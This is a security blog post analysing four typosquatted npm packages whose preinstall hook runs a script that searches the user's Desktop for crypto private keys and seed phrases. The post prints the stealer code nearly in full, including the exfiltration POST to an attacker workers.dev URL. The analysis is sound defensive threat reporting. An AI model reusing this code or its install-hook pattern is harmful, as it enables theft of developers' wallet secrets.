DEV Community

Cover image for NPM packages leveraged for cryptocurrency theft
Ariel for Stacklok

Posted on

NPM packages leveraged for cryptocurrency theft

Author: @poppysec

On August 1st, the Trusty threat detection platform alerted us to 4 suspicious npm packages published by the same author basedb58 over the past day.

Our investigation revealed that upon installation, a malicious script bundled with these packages attempts to locate and exfiltrate cryptocurrency wallet secrets from the user’s Desktop.

Image description

Package provenance

As an indicator of supply chain risk, Trusty attempts to establish a proof of origin verification for published packages to their GitHub source repository. These packages all claimed https://github.com/jimeh/node-base58 as their repository URL, in an effort to starjack as the more popular npm package base58.

Trusty was unable to match the packages to this source repository. This is reflected in the provenance scoring given, taking the package ndoe-fethc as an example.

Image description

In comparison, for the legitimate package, Trusty was able to map all 5 package releases to historical Git tags, validating the repo claim and verifying proof of origin.

Image description

As an aside, note the package has not been updated for 6 years. Amongst other signals, this has negatively impacted its overall Trusty score.

Preinstall hook

Returning to our example ndoe-fethc, the author has ensured execution of the script unhook upon installation by the addition of a preinstall hook, as can be seen in the package.json.
Other metadata - such as the author and contributor information - has been copied from the legitimate package, and as such are not relevant.

{
  "name": "ndoe-fethc",
  "version": "2.3.2",
  "keywords": [
    "base58, flickr"
  ],
  "description": "Flickr Flavored Base58 Encoding and Decoding",
  "license": "MIT",
  "author": {
    "name": "Jim Myhrberg",
    "email": "contact@jimeh.me"
  },
  "contributors": [
    "Louis Buchbinder github@louisbuchbinder.com"
  ],
  "repository": {
    "type": "git",
    "url": "https://github.com/jimeh/node-base58.git"
  },
  "main": "./src/base58",
  "engines": {
    "node": ">= 6"
  },
  "devDependencies": {
    "eslint": "^5.6.0",
    "eslint-config-prettier": "^3.0.0",
    "eslint-plugin-prettier": "^2.7.0",
    "mocha": "^5.2.0",
    "prettier": "^1.14.3"
  },
  "scripts": {
    "lint": "eslint .",
    "lint-fix": "eslint . --fix",
    "test": "mocha",
    "preinstall": "node ./src/unhook"
  }
}
Enter fullscreen mode Exit fullscreen mode

Cryptocurrency stealing

The following script, which can be reviewed in full on Stacklok’s jail repository, has clear indicators of crypto-stealing capabilities:

  • Private key and mnemonic phrase enumeration
  • Exfiltrating stolen data to a remote server
  • Targeting specific file extensions

Let’s dissect the script in stages.

Setup and definitions

The wordlist array contains 2048 words. This is typically the size of a BIP39 word list, used for generating mnemonic phrases in cryptocurrency wallets.

The script also defines some directories and files to be ignored, along with setting the allowed extensions to process.

const fs = require('fs/promises');
const os = require("os");
const path = require('path');
const fetch = require('node-fetch');
const b39 = require('bip39'); // For validating mnemonic phrases

// Predefined word list used for mnemonic validation
const wordlist = [
"abandon",
"ability",
"able",
"about",
"above",
"absent",
"absorb",
"abstract",
"absurd",
"abuse",
"access",
  // (list of words truncated for brevity)
];

const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms * 1000));

const IGNORED_DIRS = ['node_modules', 'target', 'build', 'webpack', '.vscode'];
const IGNORED_FILES = ['package-lock.json', 'package.json', 'webpack'];
let dupes = []; // To store unique sensitive information found
const ALLOWED_EXTENSIONS = new Set(['.js', '.cjs', '.txt', '.json', '.mjs', '.py', '.csv', '.ts', '.env']);
let proms = []; // To store mnemonics before sending 
Enter fullscreen mode Exit fullscreen mode

Scanning for cryptocurrency wallet information

The main body of the stealer functionality is contained here, in the function iter(). This recursively searches through directories and reads files of specified extensions to scan for sensitive crypto wallet information such as private keys and mnemonic phrases.

// Function to recursively iterate through directories and process files
async function iter(dir) {
  let entries;
  try {
    entries = await fs.readdir(dir, { withFileTypes: true }); // Read directory contents
  } catch {
    // Handle errors silently
  }

  for (const entry of entries) {
    const fullPath = path.join(dir, entry.name);

    if (entry.isDirectory()) {
    // If entry is a directory and not ignored, recursively process it
    if (!IGNORED_DIRS.includes(entry.name)) {
        await iter(fullPath);
    }
    } else if (entry.isFile()) {
    // If entry is a file and not ignored, process it
    if (IGNORED_FILES.includes(entry.name)) continue;

    const ext = path.extname(entry.name);
    if (ALLOWED_EXTENSIONS.has(ext)) {
        try {
        const content = await fs.readFile(fullPath, 'utf-8');
        if (content.split('\n').length < 1000) {
            for (const line of content.split('\n')) {
            try {
                // Check for lines indicating private key presence
                if (line.includes("Keypair.fromSecretKey(Uint8Array.from([") ||
                    line.includes("Keypair.fromSecretKey(bs58.decode(") ||
                    line.toString().toLowerCase().includes("privatekey=")) {
                if (line.length < 1000 && !dupes.includes(line)) {
                    dupes.push(line);
                    await gsa(line); // Exfil private keys to the remote server
                }
                }
            } catch {}

            // Check for mnemonic phrases
            let start = false;
            let arr = [];
            const linerep = line.replace(/[^a-zA-Z]/g, ' ');
            if (linerep.length < 1000) {
                for (const each of linerep.split(' ')) {
                if (each !== ' ' && each.length > 0 && each !== '\n') {
                    if (wordlist.includes(each)) {
                    if (!start) {
                        start = true;
                    }
                    if (start) {
                        arr.push(each);
                    }
                    } else {
                    if (start) {
                        start = false;
                        break;
                    }
                    }
                }
                }
                if (arr.length > 10) {
                const arrjoin = arr.join(' ');
                if (b39.validateMnemonic(arrjoin)) {
                    if (!dupes.includes(arrjoin)) {
                    dupes.push(arrjoin);
                    proms.push(arrjoin);
                    if (proms.length >= 2) {
                        try {
                        await gsa(proms); // Exfil mnemonics
                        proms = [];
                        } catch {proms = []}
                    }
                    }
                }
                }
            }
            }
        }
        } catch {}
    }
    }
  }
}
Enter fullscreen mode Exit fullscreen mode

Data exfiltration

Extracted data is sent in JSON form to an attacker-controlled domain using fetch().

async function gsa(data) {
  await fetch("https://mainnet.beta-mainnet.workers.dev/", {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
}
Enter fullscreen mode Exit fullscreen mode

The attacker has abused Cloudflare’s workers.dev service to host their exfiltration site.

Finally, the ite() simply passes the user’s Desktop directory path to the iter() function, starting the recursive stealing from there.

// Function to start the process from the user's Desktop directory
async function ite() {
  const dp = path.join(os.homedir(), 'Desktop');
  await iter(dp);
}

ite();
Enter fullscreen mode Exit fullscreen mode

Summary

We reported these packages to npm within a day of their publication. The GitHub Trust & Safety team responded swiftly, removing the packages and deleting the associated npm account.

In the brief time they were live, the packages had around 50 downloads each.

This latest incident continues to highlight the vulnerability of the open source ecosystem to abuse by malicious actors using it as a vector to distribute malware.

Attackers can easily create disposable accounts to publish harmful packages that mimic legitimate ones, exploiting the trust developers place in popular repositories and packages. In this case, affected users could have had their cryptocurrency wallets compromised.

Verification of package provenance, such as Trusty's proof of origin checks, is crucial in reducing supply chain risk. But this is just one aspect of assessing safety and trustworthiness in a complex network of maintainers, contributors, repositories, versions, and transitive dependencies.

Our Trusty package detection system ingests various metadata signals to provide an amalgamated score as a proxy for supply chain risk.

Top comments (0)